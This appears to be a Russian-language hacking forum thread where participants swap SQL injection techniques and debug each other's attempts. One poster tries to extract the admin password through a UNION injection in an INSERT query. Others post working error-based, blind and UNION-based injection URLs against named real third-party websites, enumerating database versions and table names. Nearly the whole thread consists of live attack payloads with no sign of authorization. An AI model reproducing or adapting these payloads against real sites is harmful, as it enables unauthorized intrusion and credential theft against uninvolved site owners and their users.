нашел активную sql инъекцию однако не получается составить запрос INSERT INTO results_temp (session_id, quest_id, ans_id, start_time) SELECT 28273, tq.quest_id, ta.id, '1970-01-01 03:00:00' FROM tmp_answers_28273 as ta, tmp_quest_28273 as tq WHERE tq.virtual_id=2 AND ta.virtual_id=12 UNION INSERT INTO results_temp (start_time) SELECT passwd FROM users WHERE login='admin' на первую часть запроса могу влиять очень мало, поэтому требуется использование UNION в ответе возвращается ERROR: DB Error: syntax error можете что-нить посоветовать? юнион требует работы с одинаковым колчеством ячеек даже в случае инсерт??
Попробуй это http://devteev.blogspot.com/2010/02/sql-injection-insert-update-delete-etc.html А вообще, лучше бы ты линк скинул.
народ. что ети функции делают я понимаю, непойму почему они заставляют вывоится инфу, кто может обьяснить?
не, ну ето я уже знаю но вот например так не выводит http://sibkulinar.ru/placecooking.php?id=2%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+ а так выводит http://sibkulinar.ru/placecooking.php ?id=2' and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ почему?
потому что это блайнд. и в данном случае результат запроса возвращается в ошибке. т.е. для эксплутации нам нужно вызвать ошибку и вывести через неё данные. вот и вся суть error based'a.
хм... неочень понятно, допустим тут разве результат запроса не возвращается в ошибке? ведь тут тоже вызваем ошибку и выводим через неё данные +or+1+group+by+concat((select+version()),0x00,floor(rand(0)*2))having+min(0)+or+1--+ или нет?
*okay.jpg* сайт в локалке, зеркала в интернеты вроде бы нету( http://test/continue_testing/?action=3&session=2825&answer=12&question=1 ERROR: DB Error: no such table ERROR: DB Error: no such table Невозможно выполнить вставку в таблицу результатов INSERT INTO results_temp (session_id, quest_id, ans_id, start_time) SELECT 2825, tq.quest_id, ta.id, '2012-03-23 12:55:38' FROM tmp_answers_2825 as ta, tmp_quest_2825 as tq WHERE tq.virtual_id=1 AND ta.virtual_id=12 2825 - номер сессии берется из адресной строки - и записывается во все места в запросе - 2825, tmp_answers_2825, p_quest_2825 номер сессии, при которой запрос выполнится тоже известен - 28275 tq.virtual_id=1 и ta.virtual_id=12 - тоже берется гетом возможность просмотреть результат вывода точно есть по ячейке start_time проверки входных данных нету (&question=1 AND 1=1 и в таком стиле выполняются) есть идеи?
Как один из вариантов (Blind): http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version(),1,1)=5)and'1 - TRUE http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version(),1,1)=4)and'1 - FALSE Ну и ErrorBased можно: http://www.fanfics.ru/read.php?id=45564&chapter=0'and(extractvalue(1,concat(0x3a,version())))and' Справа видим:
А зачем? Там можно без ErrorBased обойтись. http://www.zoo-friend.ru/?m=292&action=show_item&id=3020'+and+user()=database()+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%20a
Покажите пожалуйста сайт для примера на котором есть слепая sql-inj и выведите информпцию к примеру version.Это мне для треннировки надо,чтоб я понял.
народ, подскажите, тут можно както чёнибуть вывести? http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+
http://venec.ulstu.ru/lib/go.php?id=2151-9999999.9+union+select+1,2,3,4,5,6,7,8,9,12313212,11,12,13,14,15,16,17,18,19,20,21,22--+ Только не вывел ничего(
блин, а тут http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404+limit+0,0+union+select+1,2,3,4,table_name,6,7,8,9,10,11+from+information_schema.tables--+ чего таблици не выводит?
http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404-9999.9+union+select+1,2,3,4,table_name,6,7,8,9,10,11+from+information_schema.tables+limit+0,1--+d Конечно, limit 0,0 сделал.